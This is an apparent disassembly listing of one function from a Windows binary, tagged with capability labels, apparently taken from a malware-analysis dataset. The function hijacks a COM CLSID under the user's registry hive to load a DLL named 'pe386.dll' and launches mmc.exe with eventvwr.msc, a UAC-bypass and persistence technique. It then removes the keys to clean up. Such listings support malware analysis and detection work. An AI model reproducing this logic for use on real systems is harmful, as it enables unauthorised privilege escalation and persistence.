Function at 0x14001697e
Capabilities:
Delete registry key
Persist via com hijack
Set registry value

Disassembly:
jmp 0x140021110
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x12a8
call fcn.14001600a
sub rsp, rax
lea rbp, [rsp + 0x50]
mov rdi, rsp
mov ecx, 0x4aa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x12c8]
mov rax, qword [0x140064bf8]
xor rax, rbp
mov qword [rbp + 0x1248], rax
lea rcx, [0x14006d0dc]
call fcn.140016276
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov dword [rbp + 0x84], 0xf090013d
mov rax, qword [0x140065a08]
add rax, 0x480
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14001616d
lea rdx, str.pe386
lea rcx, [rbp + 0xb0]
call fcn.1400165e1
lea rdx, str..dll
lea rcx, [rbp + 0xb0]
call fcn.1400165e1
mov r8d, dword [rbp + 0x1278]
mov rdx, qword [rbp + 0x1270]
lea rcx, [rbp + 0xb0]
call fcn.140016ad7
test eax, eax
jne 0x1400211e7
jmp 0x1400214d1
mov edx, 0x820
lea rcx, [rbp + 0x4e0]
call fcn.140016c2b
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x4e0]
call fcn.14001616d
lea rdx, str.0A29FF9E_7F9C_4437_8B11_F424491E3931
lea rcx, [rbp + 0x4e0]
call fcn.1400165e1
lea rdx, str.InProcServer32
lea rcx, [rbp + 0x4e0]
call fcn.1400165e1
mov qword [rbp + 0x48], 0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4e0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14002136a
lea rcx, [rbp + 0xb0]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x28]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x140047438]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14002134a
mov edx, 0x820
lea rcx, [rbp + 0x4e0]
call fcn.140016c2b
lea rdx, str.Apartment
lea rcx, [rbp + 0x4e0]
call fcn.14001616d
lea rcx, [rbp + 0x4e0]
call fcn.14001680c
lea rax, [rax + rax + 2]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x28]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x4e0]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.ThreadingModel
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x68], rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 0x48], 0
cmp qword [rbp + 0x68], 0
je 0x140021368
jmp 0x1400214d1
jmp 0x14002136f
jmp 0x1400214d1
mov edx, 0x820
lea rcx, [rbp + 0x4e0]
call fcn.140016c2b
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x4e0]
call fcn.14001616d
lea rdx, str.0A29FF9E_7F9C_4437_8B11_F424491E3931
lea rcx, [rbp + 0x4e0]
call fcn.1400165e1
lea rdx, str.ShellFolder
lea rcx, [rbp + 0x4e0]
call fcn.1400165e1
mov qword [rbp + 0x48], 0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x48]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4e0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cdqe
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x1400214a7
mov qword [rbp + 0x28], 0
mov eax, dword [rbp + 0x28]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], 0
mov r9d, 1
xor r8d, r8d
lea rdx, str.HideOnDesktopPerUser
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14002148a
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x84]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Attributes
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cdqe
mov qword [rbp + 0x68], rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rbp + 0x48], 0
cmp qword [rbp + 0x68], 0
je 0x1400214a5
jmp 0x1400214d1
jmp 0x1400214a9
jmp 0x1400214d1
lea rdx, str.eventvwr.msc
lea rcx, str.mmc.exe
call fcn.140016a7d
test eax, eax
je 0x1400214c7
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x140021182
cmp qword [rbp + 0x48], 0
je 0x1400214e2
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbp + 4], 0
jl 0x1400215f3
mov edx, 0x820
lea rcx, [rbp + 0x4e0]
call fcn.140016c2b
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x4e0]
call fcn.14001616d
lea rdx, str.0A29FF9E_7F9C_4437_8B11_F424491E3931
lea rcx, [rbp + 0x4e0]
call fcn.1400165e1
lea rdx, str.ShellFolder
lea rcx, [rbp + 0x4e0]
call fcn.1400165e1
lea rdx, [rbp + 0x4e0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov edx, 0x820
lea rcx, [rbp + 0x4e0]
call fcn.140016c2b
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x4e0]
call fcn.14001616d
lea rdx, str.0A29FF9E_7F9C_4437_8B11_F424491E3931
lea rcx, [rbp + 0x4e0]
call fcn.1400165e1
lea rdx, str.InProcServer32
lea rcx, [rbp + 0x4e0]
call fcn.1400165e1
lea rdx, [rbp + 0x4e0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov edx, 0x820
lea rcx, [rbp + 0x4e0]
call fcn.140016c2b
lea rdx, str.SoftwareClassesCLSID_
lea rcx, [rbp + 0x4e0]
call fcn.14001616d
lea rdx, str.0A29FF9E_7F9C_4437_8B11_F424491E3931
lea rcx, [rbp + 0x4e0]
call fcn.1400165e1
lea rdx, [rbp + 0x4e0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x1400472f0]
call fcn.140016b90
mov eax, edi
mov rcx, qword [rbp + 0x1248]
xor rcx, rbp
call fcn.14001633e
lea rsp, [rbp + 0x1258]
pop rdi
pop rbp
ret